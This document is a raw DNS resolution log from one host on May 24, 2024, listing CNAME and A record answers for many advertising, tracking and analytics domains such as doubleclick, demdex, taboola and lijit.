May 24, 2024 00:35:17.837212086 CEST	1.1.1.1	192.168.2.6	0xb9e8	No error (0)	bcbolt446c5271-a.akamaihd.net	bcbolt446c5271-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.898977995 CEST	1.1.1.1	192.168.2.6	0x69a8	No error (0)	pixel-eu.onaudience.com		141.94.171.212	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.898977995 CEST	1.1.1.1	192.168.2.6	0x69a8	No error (0)	pixel-eu.onaudience.com		141.94.171.216	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.898977995 CEST	1.1.1.1	192.168.2.6	0x69a8	No error (0)	pixel-eu.onaudience.com		141.94.170.77	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.898977995 CEST	1.1.1.1	192.168.2.6	0x69a8	No error (0)	pixel-eu.onaudience.com		141.94.171.214	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.898977995 CEST	1.1.1.1	192.168.2.6	0x69a8	No error (0)	pixel-eu.onaudience.com		146.59.148.16	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.898977995 CEST	1.1.1.1	192.168.2.6	0x69a8	No error (0)	pixel-eu.onaudience.com		141.94.171.213	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.898977995 CEST	1.1.1.1	192.168.2.6	0x69a8	No error (0)	pixel-eu.onaudience.com		141.94.171.215	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.898977995 CEST	1.1.1.1	192.168.2.6	0x69a8	No error (0)	pixel-eu.onaudience.com		141.94.170.64	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:18.459604025 CEST	1.1.1.1	192.168.2.6	0x4018	No error (0)	ssum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:18.459604025 CEST	1.1.1.1	192.168.2.6	0x4018	No error (0)	ssum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:18.459616899 CEST	1.1.1.1	192.168.2.6	0x2ad3	No error (0)	ssum-sec.casalemedia.com			65	IN (0x0001)	false
May 24, 2024 00:35:18.910058022 CEST	1.1.1.1	192.168.2.6	0xc2d0	No error (0)	api.login.aol.com	ds-ats.member.g02.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:18.910070896 CEST	1.1.1.1	192.168.2.6	0xe558	No error (0)	api.login.aol.com	ds-ats.member.g02.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:18.910070896 CEST	1.1.1.1	192.168.2.6	0xe558	No error (0)	ds-ats.member.g02.yahoodns.net		212.82.100.140	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:18.960520029 CEST	1.1.1.1	192.168.2.6	0x5186	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:18.960520029 CEST	1.1.1.1	192.168.2.6	0x5186	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:18.960520029 CEST	1.1.1.1	192.168.2.6	0x5186	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:18.960534096 CEST	1.1.1.1	192.168.2.6	0x8a0f	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:18.960534096 CEST	1.1.1.1	192.168.2.6	0x8a0f	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:18.960534096 CEST	1.1.1.1	192.168.2.6	0x8a0f	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:18.960534096 CEST	1.1.1.1	192.168.2.6	0x8a0f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.194.31.123	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:18.960534096 CEST	1.1.1.1	192.168.2.6	0x8a0f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.18.219.127	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:18.960534096 CEST	1.1.1.1	192.168.2.6	0x8a0f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.80.202.71	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:18.960534096 CEST	1.1.1.1	192.168.2.6	0x8a0f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.72.172.22	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:18.960534096 CEST	1.1.1.1	192.168.2.6	0x8a0f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.214.77.117	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:18.960534096 CEST	1.1.1.1	192.168.2.6	0x8a0f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.171.118.212	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:18.960534096 CEST	1.1.1.1	192.168.2.6	0x8a0f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.49.219.73	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:18.960534096 CEST	1.1.1.1	192.168.2.6	0x8a0f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		63.32.81.13	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:19.396805048 CEST	1.1.1.1	192.168.2.6	0x9404	No error (0)	aa.agkn.com	ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:19.396805048 CEST	1.1.1.1	192.168.2.6	0x9404	No error (0)	ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com		3.65.80.227	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:19.396805048 CEST	1.1.1.1	192.168.2.6	0x9404	No error (0)	ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com		3.120.47.227	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:19.418782949 CEST	1.1.1.1	192.168.2.6	0xae67	No error (0)	aa.agkn.com	ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:19.440294981 CEST	1.1.1.1	192.168.2.6	0xe1d7	No error (0)	id.rlcdn.com		35.244.174.68	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:19.583194971 CEST	1.1.1.1	192.168.2.6	0x3df2	No error (0)	hbx.media.net		23.212.88.20	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:19.864653111 CEST	1.1.1.1	192.168.2.6	0x5034	No error (0)	stags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:19.864679098 CEST	1.1.1.1	192.168.2.6	0xd475	No error (0)	stags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:20.045948029 CEST	1.1.1.1	192.168.2.6	0x28f	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
May 24, 2024 00:35:20.046010971 CEST	1.1.1.1	192.168.2.6	0x7033	No error (0)	ad.doubleclick.net		216.58.206.70	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:20.565454006 CEST	1.1.1.1	192.168.2.6	0x9db5	No error (0)	d.turn.com	d-ams1.turn.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:20.565454006 CEST	1.1.1.1	192.168.2.6	0x9db5	No error (0)	d-ams1.turn.com		46.228.164.13	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:20.565501928 CEST	1.1.1.1	192.168.2.6	0xf57e	No error (0)	d.turn.com	d-ams1.turn.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:20.569582939 CEST	1.1.1.1	192.168.2.6	0x574b	No error (0)	odr.mookie1.com	tagr-pixel-nginx-odr-euw4.mookie1.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:20.569582939 CEST	1.1.1.1	192.168.2.6	0x574b	No error (0)	tagr-pixel-nginx-odr-euw4.mookie1.com		34.160.236.64	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:20.569597006 CEST	1.1.1.1	192.168.2.6	0x537b	No error (0)	odr.mookie1.com	tagr-pixel-nginx-odr-euw4.mookie1.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:20.709991932 CEST	1.1.1.1	192.168.2.6	0x929a	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:20.709991932 CEST	1.1.1.1	192.168.2.6	0x929a	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:20.709991932 CEST	1.1.1.1	192.168.2.6	0x929a	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:20.714714050 CEST	1.1.1.1	192.168.2.6	0x9dd5	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:20.714714050 CEST	1.1.1.1	192.168.2.6	0x9dd5	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:20.714714050 CEST	1.1.1.1	192.168.2.6	0x9dd5	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:20.892254114 CEST	1.1.1.1	192.168.2.6	0x3c5e	No error (0)	pippio.com		107.178.254.65	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.172101974 CEST	1.1.1.1	192.168.2.6	0x4ce	No error (0)	help.aol.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:21.172116995 CEST	1.1.1.1	192.168.2.6	0x8c2c	No error (0)	cms.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:21.172116995 CEST	1.1.1.1	192.168.2.6	0x8c2c	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:21.172116995 CEST	1.1.1.1	192.168.2.6	0x8c2c	No error (0)	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:21.172116995 CEST	1.1.1.1	192.168.2.6	0x8c2c	No error (0)	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		3.71.149.231	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.172116995 CEST	1.1.1.1	192.168.2.6	0x8c2c	No error (0)	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		3.75.62.37	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.175890923 CEST	1.1.1.1	192.168.2.6	0x1a38	No error (0)	uipus.semasio.net		50.57.31.206	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.175900936 CEST	1.1.1.1	192.168.2.6	0x67f8	No error (0)	cms.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:21.175900936 CEST	1.1.1.1	192.168.2.6	0x67f8	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:21.175900936 CEST	1.1.1.1	192.168.2.6	0x67f8	No error (0)	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:21.175920010 CEST	1.1.1.1	192.168.2.6	0x3812	No error (0)	cs.media.net		23.212.88.20	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.189378023 CEST	1.1.1.1	192.168.2.6	0x173	No error (0)	help.aol.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:21.189378023 CEST	1.1.1.1	192.168.2.6	0x173	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.189378023 CEST	1.1.1.1	192.168.2.6	0x173	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.786153078 CEST	1.1.1.1	192.168.2.6	0x8be2	No error (0)	crb.kargo.com		18.193.40.232	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.786153078 CEST	1.1.1.1	192.168.2.6	0x8be2	No error (0)	crb.kargo.com		18.199.24.49	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.786153078 CEST	1.1.1.1	192.168.2.6	0x8be2	No error (0)	crb.kargo.com		18.158.80.108	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.786164045 CEST	1.1.1.1	192.168.2.6	0x1450	No error (0)	api.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:21.786174059 CEST	1.1.1.1	192.168.2.6	0x6cf5	No error (0)	api.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:21.786174059 CEST	1.1.1.1	192.168.2.6	0x6cf5	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.786174059 CEST	1.1.1.1	192.168.2.6	0x6cf5	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.786174059 CEST	1.1.1.1	192.168.2.6	0x6cf5	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.786174059 CEST	1.1.1.1	192.168.2.6	0x6cf5	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:22.166400909 CEST	1.1.1.1	192.168.2.6	0xdfe5	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:22.166400909 CEST	1.1.1.1	192.168.2.6	0xdfe5	No error (0)	vap.lijit.com	emeas.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:22.166400909 CEST	1.1.1.1	192.168.2.6	0xdfe5	No error (0)	emeas.vap.lijit.com	eu.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:22.166400909 CEST	1.1.1.1	192.168.2.6	0xdfe5	No error (0)	eu.vap.lijit.com	blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:22.166400909 CEST	1.1.1.1	192.168.2.6	0xdfe5	No error (0)	blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com		54.77.78.113	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:22.166400909 CEST	1.1.1.1	192.168.2.6	0xdfe5	No error (0)	blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com		54.77.16.195	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:22.166400909 CEST	1.1.1.1	192.168.2.6	0xdfe5	No error (0)	blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com		34.246.216.47	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:22.166400909 CEST	1.1.1.1	192.168.2.6	0xdfe5	No error (0)	blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com		18.203.54.214	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:22.166400909 CEST	1.1.1.1	192.168.2.6	0xdfe5	No error (0)	blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com		54.155.104.225	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:22.166400909 CEST	1.1.1.1	192.168.2.6	0xdfe5	No error (0)	blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com		54.72.154.1	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:22.166400909 CEST	1.1.1.1	192.168.2.6	0xdfe5	No error (0)	blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com		34.252.47.70	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:22.166400909 CEST	1.1.1.1	192.168.2.6	0xdfe5	No error (0)	blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com		52.208.164.138	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:22.166421890 CEST	1.1.1.1	192.168.2.6	0x866a	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:22.166421890 CEST	1.1.1.1	192.168.2.6	0x866a	No error (0)	vap.lijit.com	emeas.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:22.166421890 CEST	1.1.1.1	192.168.2.6	0x866a	No error (0)	emeas.vap.lijit.com	eu.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:22.166421890 CEST	1.1.1.1	192.168.2.6	0x866a	No error (0)	eu.vap.lijit.com	blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:23.038547039 CEST	1.1.1.1	192.168.2.6	0x4bf	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:23.038547039 CEST	1.1.1.1	192.168.2.6	0x4bf	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:23.038547039 CEST	1.1.1.1	192.168.2.6	0x4bf	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:23.043210030 CEST	1.1.1.1	192.168.2.6	0xd204	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:23.338378906 CEST	1.1.1.1	192.168.2.6	0xa754	No error (0)	match.sharethrough.com	match-eu-central-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:23.338378906 CEST	1.1.1.1	192.168.2.6	0xa754	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.158.126.136	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:23.338378906 CEST	1.1.1.1	192.168.2.6	0xa754	No error (0)	match-eu-central-1-ecs.sharethrough.com		52.29.54.89	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:23.338378906 CEST	1.1.1.1	192.168.2.6	0xa754	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.194.142.248	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:23.338378906 CEST	1.1.1.1	192.168.2.6	0xa754	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.197.199.178	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:23.338378906 CEST	1.1.1.1	192.168.2.6	0xa754	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.195.126.233	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:23.338378906 CEST	1.1.1.1	192.168.2.6	0xa754	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.159.229.46	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:23.338378906 CEST	1.1.1.1	192.168.2.6	0xa754	No error (0)	match-eu-central-1-ecs.sharethrough.com		3.67.74.124	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:23.338378906 CEST	1.1.1.1	192.168.2.6	0xa754	No error (0)	match-eu-central-1-ecs.sharethrough.com		3.120.79.213	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:23.338395119 CEST	1.1.1.1	192.168.2.6	0xc399	No error (0)	match.sharethrough.com	match-eu-central-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:25.484658003 CEST	1.1.1.1	192.168.2.6	0x2575	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:25.495719910 CEST	1.1.1.1	192.168.2.6	0x4ef2	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:25.569544077 CEST	1.1.1.1	192.168.2.6	0xa36e	No error (0)	aorta.clickagy.com		23.20.26.217	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:25.569544077 CEST	1.1.1.1	192.168.2.6	0xa36e	No error (0)	aorta.clickagy.com		54.242.219.146	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:25.569544077 CEST	1.1.1.1	192.168.2.6	0xa36e	No error (0)	aorta.clickagy.com		18.211.202.82	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:25.569544077 CEST	1.1.1.1	192.168.2.6	0xa36e	No error (0)	aorta.clickagy.com		34.198.38.143	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:25.569556952 CEST	1.1.1.1	192.168.2.6	0x3750	No error (0)	rtb.openx.net		35.186.253.211	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:25.569556952 CEST	1.1.1.1	192.168.2.6	0x3750	No error (0)	rtb.openx.net		35.227.252.103	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:25.569561005 CEST	1.1.1.1	192.168.2.6	0x844c	No error (0)	idpix.media6degrees.com	idpix.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:25.569561005 CEST	1.1.1.1	192.168.2.6	0x844c	No error (0)	map.media6degrees.com	map.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:25.569569111 CEST	1.1.1.1	192.168.2.6	0x675a	No error (0)	idpix.media6degrees.com	idpix.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:25.569569111 CEST	1.1.1.1	192.168.2.6	0x675a	No error (0)	map.media6degrees.com	map.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:25.580171108 CEST	1.1.1.1	192.168.2.6	0x2313	No error (0)	cs.krushmedia.com		8.2.110.134	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:26.873334885 CEST	1.1.1.1	192.168.2.6	0x27d2	No error (0)	pool.admedo.com	pool-com.adizio.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:26.873334885 CEST	1.1.1.1	192.168.2.6	0x27d2	No error (0)	pool-com.adizio.iponweb.net	adizio.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:26.873334885 CEST	1.1.1.1	192.168.2.6	0x27d2	No error (0)	adizio.geo.iponweb.net		35.210.53.219	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.020895958 CEST	1.1.1.1	192.168.2.6	0xdf74	No error (0)	pool.admedo.com	pool-com.adizio.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:27.020895958 CEST	1.1.1.1	192.168.2.6	0xdf74	No error (0)	pool-com.adizio.iponweb.net	adizio.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:27.054513931 CEST	1.1.1.1	192.168.2.6	0xc4f1	No error (0)	ce.lijit.com	ce-ew1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:27.054513931 CEST	1.1.1.1	192.168.2.6	0xc4f1	No error (0)	ce-ew1.lijit.com	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:27.054513931 CEST	1.1.1.1	192.168.2.6	0xc4f1	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		18.203.106.185	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.054513931 CEST	1.1.1.1	192.168.2.6	0xc4f1	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		52.208.162.231	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.054513931 CEST	1.1.1.1	192.168.2.6	0xc4f1	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		18.202.254.222	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.054513931 CEST	1.1.1.1	192.168.2.6	0xc4f1	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		52.16.234.114	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.054513931 CEST	1.1.1.1	192.168.2.6	0xc4f1	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		52.213.145.82	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.054513931 CEST	1.1.1.1	192.168.2.6	0xc4f1	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		52.212.42.149	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.054513931 CEST	1.1.1.1	192.168.2.6	0xc4f1	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		63.33.250.172	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.054513931 CEST	1.1.1.1	192.168.2.6	0xc4f1	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		54.171.72.23	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.054527044 CEST	1.1.1.1	192.168.2.6	0x13c8	No error (0)	beacon-ams3.rubiconproject.com	beacon-ams3.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:27.054542065 CEST	1.1.1.1	192.168.2.6	0x7575	No error (0)	beacon-ams3.rubiconproject.com	beacon-ams3.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:27.054552078 CEST	1.1.1.1	192.168.2.6	0x384f	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:27.054560900 CEST	1.1.1.1	192.168.2.6	0x394	No error (0)	ce.lijit.com	ce-ew1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:27.054560900 CEST	1.1.1.1	192.168.2.6	0x394	No error (0)	ce-ew1.lijit.com	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:27.054569960 CEST	1.1.1.1	192.168.2.6	0xd299	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:27.054569960 CEST	1.1.1.1	192.168.2.6	0xd299	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.054569960 CEST	1.1.1.1	192.168.2.6	0xd299	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.057589054 CEST	1.1.1.1	192.168.2.6	0x8a59	No error (0)	pixel.tapad.com		34.111.113.62	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.145737886 CEST	1.1.1.1	192.168.2.6	0x50ae	No error (0)	api.content.aol.com	prod.msicontent.pse.public.aol.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:27.145737886 CEST	1.1.1.1	192.168.2.6	0x50ae	No error (0)	prod.msicontent.pse.public.aol.com		54.225.218.25	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.145737886 CEST	1.1.1.1	192.168.2.6	0x50ae	No error (0)	prod.msicontent.pse.public.aol.com		54.156.149.153	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.175554991 CEST	1.1.1.1	192.168.2.6	0x9a6b	No error (0)	api.content.aol.com	prod.msicontent.pse.public.aol.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:28.238883972 CEST	1.1.1.1	192.168.2.6	0xa9cf	No error (0)	pubads.g.doubleclick.net		142.250.181.226	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:28.248456955 CEST	1.1.1.1	192.168.2.6	0xf7c1	No error (0)	pubads.g.doubleclick.net			65	IN (0x0001)	false
